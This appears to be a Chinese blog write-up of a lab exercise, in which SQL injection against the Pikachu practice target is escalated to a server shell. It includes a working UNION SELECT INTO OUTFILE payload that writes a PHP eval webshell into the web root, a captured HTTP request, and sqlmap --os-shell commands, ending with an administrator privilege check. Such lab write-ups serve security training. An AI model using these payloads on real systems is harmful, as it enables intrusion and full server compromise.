【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

注入

 以pikachu为例,首先发现一个数据查询的点,对其进行手工验证

【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

易知存在SQL注入

获取更多信息:

@@basedir,获取到当前MySQL安装路径

【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

根据学过的知识可以知道,在phpstudy中,MySQL和WWW在同一级的目录结构中

写入webshell

--通过mysql写入文件需满足

  1. 连接数据库是root用户,如下图,普通用户无法写入
  2. my.ini配置文件需明确secure_file_priv="目录",参考:MySQL读写文件

【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

--若满足上述要求,则尝试把webshell写入到WWW目录中,pyload如下

?name=kobe'+union+select+'1'%2C+'<%3F+php+%40eval(%24_POST[1])%3B+%3F>'+INTO+OUTFILE+'C%3A%2F%2FphpStudy%2FPHPTUtorial%2FWWW%2Fshell.php'+%23&submit=查询#

【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

--靶机中存在这个shell文件

 【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

---- 成功利用

【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

--遇到的坑:

  1. 因为写入一句话时POST['x']需要引号,而写入内容也需要引号,在靶机后台中SQL拼接中已使用了引号,所以这里出现三个引号,写入会报错,可将一句话的POST['x']改成POST[1]
  2. 算是小细节,<?php  问号和php要紧连在一起,中间不能有空格

sqlmap --os-shell

--sqlmap中的--os-shell同样也是通过写入文件后进一步拿到shell的,前提条件跟上面一样

 --进入注入点,随便提交一个数据,复制一下请求头和POST数据

POST /pikachu-master/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.18.96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.3.130
Connection: keep-alive
Referer: http://192.168.3.130/pikachu-master/vul/sqli/sqli_id.php
Cookie: PHPSESSID=ei17j4pdof94fjukl0766ede00
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

id=2&submit=%E6%9F%A5%E8%AF%A2

-- python2 sqlmap.py -r sqlmapTest.txt 

【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

 -- python2 sqlmap.py -r sqlmapTest.txt --dbs得出数据库

【SQL注入】从注入到获取服务器shell,记一次完整的SQL注入攻击过程

--python2 sqlmap.py -r sqlmapTest.txt --os-shell

--选择php

--把路径写上去

利用

--查看当前系统用户权限

whoami/groups

--已是administrator权限

--待更新

上一篇:sqli靶场通关之less9


下一篇:又出现SQL 注入了,这次该怎么办